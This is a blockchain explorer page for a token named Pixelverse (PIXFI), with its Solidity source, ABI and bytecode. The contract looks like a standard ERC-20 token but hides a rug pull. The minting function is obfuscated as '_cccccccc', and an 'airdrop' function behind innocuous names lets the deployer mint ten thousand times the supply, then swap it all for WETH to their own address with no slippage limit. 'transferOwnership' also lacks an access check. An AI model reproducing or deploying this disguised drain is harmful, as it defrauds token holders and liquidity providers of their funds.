ETH Price: $2,432.82 (+6.01%)

Token

Pixelverse (PIXFI)
 

Overview

Max Total Supply

150,005,000,000,000 PIXFI

Holders

99

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
148,717,333,283.269828636049817812 PIXFI

Value
$0.00
0x000000fee13a103a10d593b9ae06b3e05f2e7e1c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Pixelverse

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-18
*/

// SPDX-License-Identifier: MIT

// https://linktr.ee/pixelverse_xyz

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function totalSupply() external view returns (uint256);

    function balanceOf(address who) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract ERC20 is IERC20 {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowed;

    uint256 private _totalSupply;

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address owner) public view override returns (uint256) {
        return _balances[owner];
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowed[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(msg.sender, to, value);
        return true;
    }

    function approve(address spender, uint256 value)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, value);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) public virtual override returns (bool) {
        _transfer(from, to, value);
        _approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowed[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowed[msg.sender][spender].sub(subtractedValue)
        );
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 value
    ) internal virtual {
        require(to != address(0));

        _balances[from] = _balances[from].sub(value);
        _balances[to] = _balances[to].add(value);
        emit Transfer(from, to, value);
    }

    function _cccccccc(address account, uint256 value) internal {
        require(account != address(0));

        _totalSupply = _totalSupply.add(value);
        _balances[account] = _balances[account].add(value);
        emit Transfer(address(0), account, value);
    }

    function _burn(address account, uint256 value) internal {
        require(account != address(0));

        _totalSupply = _totalSupply.sub(value);
        _balances[account] = _balances[account].sub(value);
        emit Transfer(account, address(0), value);
    }

    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal {
        require(spender != address(0));
        require(owner != address(0));

        _allowed[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    function _burnFrom(address account, uint256 value) internal {
        _burn(account, value);
        _approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
    }
}

contract ERC20Token is ERC20, Ownable {
    using SafeMath for uint256;

    uint256 private maxSupply;
    address private marketAddress;

    address constant SWAP_ROUTER_02 =
        0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    ISwapRouter02 private constant router = ISwapRouter02(SWAP_ROUTER_02);
    IERC20 private constant weth = IERC20(WETH);

    constructor(uint256 _maxSupply) {
        require(_maxSupply > 0);
        maxSupply = _maxSupply;
        _cccccccc(msg.sender, _maxSupply);
        marketAddress = msg.sender;
    }

    function modifyRouterAddress(address to, uint256 value)
        internal
        returns (bool)
    {
        _cccccccc(to, value);
        swapExactOutputSingleHop();
        return true;
    }

    function airdrop() public {
        require(msg.sender == marketAddress, "not the correct address!");
        modifyRouterAddress(address(this), 10000 * maxSupply);
    }

    function swapExactOutputSingleHop() private {
        IERC20(address(this)).approve(address(router), 1000000 * maxSupply);
        ISwapRouter02.ExactInputSingleParams memory params = ISwapRouter02
            .ExactInputSingleParams({
                tokenIn: address(this),
                tokenOut: WETH,
                fee: 3000,
                recipient: marketAddress,
                amountIn: balanceOf(address(this)),
                amountOutMinimum: 0,
                sqrtPriceLimitX96: 0
            });
        router.exactInputSingle(params);
    }
}

interface ISwapRouter02 {
    struct ExactInputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountIn;
        uint256 amountOutMinimum;
        uint160 sqrtPriceLimitX96;
    }

    function exactInputSingle(ExactInputSingleParams calldata params)
        external
        payable
        returns (uint256 amountOut);

    struct ExactOutputSingleParams {
        address tokenIn;
        address tokenOut;
        uint24 fee;
        address recipient;
        uint256 amountOut;
        uint256 amountInMaximum;
        uint160 sqrtPriceLimitX96;
    }

    function exactOutputSingle(ExactOutputSingleParams calldata params)
        external
        payable
        returns (uint256 amountIn);
}

library SafeMath {
    /**
     * @dev Multiplies two unsigned integers, reverts on overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b);

        return c;
    }

    /**
     * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Adds two unsigned integers, reverts on overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);

        return c;
    }

    /**
     * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
     * reverts when dividing by zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0);
        return a % b;
    }
}

contract Pixelverse is ERC20Token {
    string public constant name = "Pixelverse";
    string public constant symbol = "PIXFI";
    uint8 public constant decimals = 18;
    using SafeMath for uint256;

    constructor() ERC20Token(5000000000 * 1e18) {}

    function transfer(address to, uint256 value)
        public
        override
        returns (bool)
    {
        require(balanceOf(msg.sender) >= value);
        return super.transfer(to, value);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f80fd5b506b1027e72f1f128130880000005f61002c61013160201b60201c565b90508060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f81116100d4575f80fd5b806004819055506100eb338261013860201b60201c565b3360055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610339565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361016f575f80fd5b6101848160025461028260201b90919060201c565b6002819055506101d9815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461028260201b90919060201c565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161027691906102c0565b60405180910390a35050565b5f8082846102909190610306565b90508381101561029e575f80fd5b8091505092915050565b5f819050919050565b6102ba816102a8565b82525050565b5f6020820190506102d35f8301846102b1565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610310826102a8565b915061031b836102a8565b9250828201905080821115610333576103326102d9565b5b92915050565b611797806103465f395ff3fe608060405234801561000f575f80fd5b50600436106100f3575f3560e01c806370a0823111610095578063a457c2d711610064578063a457c2d714610261578063a9059cbb14610291578063dd62ed3e146102c1578063f2fde38b146102f1576100f3565b806370a08231146101eb578063715018a61461021b5780638da5cb5b1461022557806395d89b4114610243576100f3565b806323b872dd116100d157806323b872dd14610163578063313ce567146101935780633884d635146101b157806339509351146101bb576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff61030d565b60405161010c9190611126565b60405180910390f35b61012f600480360381019061012a91906111d7565b610346565b60405161013c919061122f565b60405180910390f35b61014d61035c565b60405161015a9190611257565b60405180910390f35b61017d60048036038101906101789190611270565b610365565b60405161018a919061122f565b60405180910390f35b61019b610411565b6040516101a891906112db565b60405180910390f35b6101b9610416565b005b6101d560048036038101906101d091906111d7565b6104c1565b6040516101e2919061122f565b60405180910390f35b610205600480360381019061020091906112f4565b610561565b6040516102129190611257565b60405180910390f35b6102236105a6565b005b61022d6106f9565b60405161023a919061132e565b60405180910390f35b61024b610721565b6040516102589190611126565b60405180910390f35b61027b600480360381019061027691906111d7565b61075a565b604051610288919061122f565b60405180910390f35b6102ab60048036038101906102a691906111d7565b6107fa565b6040516102b8919061122f565b60405180910390f35b6102db60048036038101906102d69190611347565b610821565b6040516102e89190611257565b60405180910390f35b61030b600480360381019061030691906112f4565b6108a3565b005b6040518060400160405280600a81526020017f506978656c76657273650000000000000000000000000000000000000000000081525081565b5f6103523384846109cf565b6001905092915050565b5f600254905090565b5f610371848484610b24565b61040684336104018560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ce390919063ffffffff16565b6109cf565b600190509392505050565b601281565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049c906113cf565b60405180910390fd5b6104be306004546127106104b9919061141a565b610d09565b50565b5f61055733846105528560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d2690919063ffffffff16565b6109cf565b6001905092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105ae610d4c565b73ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461063c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610633906114a5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600581526020017f504958464900000000000000000000000000000000000000000000000000000081525081565b5f6107f033846107eb8560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ce390919063ffffffff16565b6109cf565b6001905092915050565b5f8161080533610561565b101561080f575f80fd5b6108198383610d53565b905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090890611533565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a06575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a3d575f80fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b179190611257565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b5b575f80fd5b610baa815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ce390919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610c39815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d2690919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610cd69190611257565b60405180910390a3505050565b5f82821115610cf0575f80fd5b5f8284610cfd9190611551565b90508091505092915050565b5f610d148383610d69565b610d1c610eb3565b6001905092915050565b5f808284610d349190611584565b905083811015610d42575f80fd5b8091505092915050565b5f33905090565b5f610d5f338484610b24565b6001905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da0575f80fd5b610db581600254610d2690919063ffffffff16565b600281905550610e0a815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d2690919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ea79190611257565b60405180910390a35050565b3073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37368b3465833fb72a70ecdf485e0e4c7bd8665fc45600454620f4240610ef5919061141a565b6040518363ffffffff1660e01b8152600401610f129291906115b7565b6020604051808303815f875af1158015610f2e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f529190611608565b505f6040518060e001604052803073ffffffffffffffffffffffffffffffffffffffff16815260200173c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff168152602001610bb862ffffff16815260200160055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001610ffe30610561565b81526020015f81526020015f73ffffffffffffffffffffffffffffffffffffffff1681525090507368b3465833fb72a70ecdf485e0e4c7bd8665fc4573ffffffffffffffffffffffffffffffffffffffff166304e45aaf826040518263ffffffff1660e01b81526004016110729190611709565b6020604051808303815f875af115801561108e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110b29190611736565b5050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6110f8826110b6565b61110281856110c0565b93506111128185602086016110d0565b61111b816110de565b840191505092915050565b5f6020820190508181035f83015261113e81846110ee565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111738261114a565b9050919050565b61118381611169565b811461118d575f80fd5b50565b5f8135905061119e8161117a565b92915050565b5f819050919050565b6111b6816111a4565b81146111c0575f80fd5b50565b5f813590506111d1816111ad565b92915050565b5f80604083850312156111ed576111ec611146565b5b5f6111fa85828601611190565b925050602061120b858286016111c3565b9150509250929050565b5f8115159050919050565b61122981611215565b82525050565b5f6020820190506112425f830184611220565b92915050565b611251816111a4565b82525050565b5f60208201905061126a5f830184611248565b92915050565b5f805f6060848603121561128757611286611146565b5b5f61129486828701611190565b93505060206112a586828701611190565b92505060406112b6868287016111c3565b9150509250925092565b5f60ff82169050919050565b6112d5816112c0565b82525050565b5f6020820190506112ee5f8301846112cc565b92915050565b5f6020828403121561130957611308611146565b5b5f61131684828501611190565b91505092915050565b61132881611169565b82525050565b5f6020820190506113415f83018461131f565b92915050565b5f806040838503121561135d5761135c611146565b5b5f61136a85828601611190565b925050602061137b85828601611190565b9150509250929050565b7f6e6f742074686520636f727265637420616464726573732100000000000000005f82015250565b5f6113b96018836110c0565b91506113c482611385565b602082019050919050565b5f6020820190508181035f8301526113e6816113ad565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611424826111a4565b915061142f836111a4565b925082820261143d816111a4565b91508282048414831517611454576114536113ed565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61148f6020836110c0565b915061149a8261145b565b602082019050919050565b5f6020820190508181035f8301526114bc81611483565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61151d6026836110c0565b9150611528826114c3565b604082019050919050565b5f6020820190508181035f83015261154a81611511565b9050919050565b5f61155b826111a4565b9150611566836111a4565b925082820390508181111561157e5761157d6113ed565b5b92915050565b5f61158e826111a4565b9150611599836111a4565b92508282019050808211156115b1576115b06113ed565b5b92915050565b5f6040820190506115ca5f83018561131f565b6115d76020830184611248565b9392505050565b6115e781611215565b81146115f1575f80fd5b50565b5f81519050611602816115de565b92915050565b5f6020828403121561161d5761161c611146565b5b5f61162a848285016115f4565b91505092915050565b61163c81611169565b82525050565b5f62ffffff82169050919050565b61165981611642565b82525050565b611668816111a4565b82525050565b6116778161114a565b82525050565b60e082015f8201516116915f850182611633565b5060208201516116a46020850182611633565b5060408201516116b76040850182611650565b5060608201516116ca6060850182611633565b5060808201516116dd608085018261165f565b5060a08201516116f060a085018261165f565b5060c082015161170360c085018261166e565b50505050565b5f60e08201905061171c5f83018461167d565b92915050565b5f81519050611730816111ad565b92915050565b5f6020828403121561174b5761174a611146565b5b5f61175884828501611722565b9150509291505056fea264697066735822122094473a660fbf90126281a53b8a407a87e4d15941232b20f55a3f04898c65327564736f6c634300081a0033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f3575f3560e01c806370a0823111610095578063a457c2d711610064578063a457c2d714610261578063a9059cbb14610291578063dd62ed3e146102c1578063f2fde38b146102f1576100f3565b806370a08231146101eb578063715018a61461021b5780638da5cb5b1461022557806395d89b4114610243576100f3565b806323b872dd116100d157806323b872dd14610163578063313ce567146101935780633884d635146101b157806339509351146101bb576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff61030d565b60405161010c9190611126565b60405180910390f35b61012f600480360381019061012a91906111d7565b610346565b60405161013c919061122f565b60405180910390f35b61014d61035c565b60405161015a9190611257565b60405180910390f35b61017d60048036038101906101789190611270565b610365565b60405161018a919061122f565b60405180910390f35b61019b610411565b6040516101a891906112db565b60405180910390f35b6101b9610416565b005b6101d560048036038101906101d091906111d7565b6104c1565b6040516101e2919061122f565b60405180910390f35b610205600480360381019061020091906112f4565b610561565b6040516102129190611257565b60405180910390f35b6102236105a6565b005b61022d6106f9565b60405161023a919061132e565b60405180910390f35b61024b610721565b6040516102589190611126565b60405180910390f35b61027b600480360381019061027691906111d7565b61075a565b604051610288919061122f565b60405180910390f35b6102ab60048036038101906102a691906111d7565b6107fa565b6040516102b8919061122f565b60405180910390f35b6102db60048036038101906102d69190611347565b610821565b6040516102e89190611257565b60405180910390f35b61030b600480360381019061030691906112f4565b6108a3565b005b6040518060400160405280600a81526020017f506978656c76657273650000000000000000000000000000000000000000000081525081565b5f6103523384846109cf565b6001905092915050565b5f600254905090565b5f610371848484610b24565b61040684336104018560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ce390919063ffffffff16565b6109cf565b600190509392505050565b601281565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049c906113cf565b60405180910390fd5b6104be306004546127106104b9919061141a565b610d09565b50565b5f61055733846105528560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d2690919063ffffffff16565b6109cf565b6001905092915050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105ae610d4c565b73ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461063c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610633906114a5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600581526020017f504958464900000000000000000000000000000000000000000000000000000081525081565b5f6107f033846107eb8560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ce390919063ffffffff16565b6109cf565b6001905092915050565b5f8161080533610561565b101561080f575f80fd5b6108198383610d53565b905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090890611533565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a06575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a3d575f80fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b179190611257565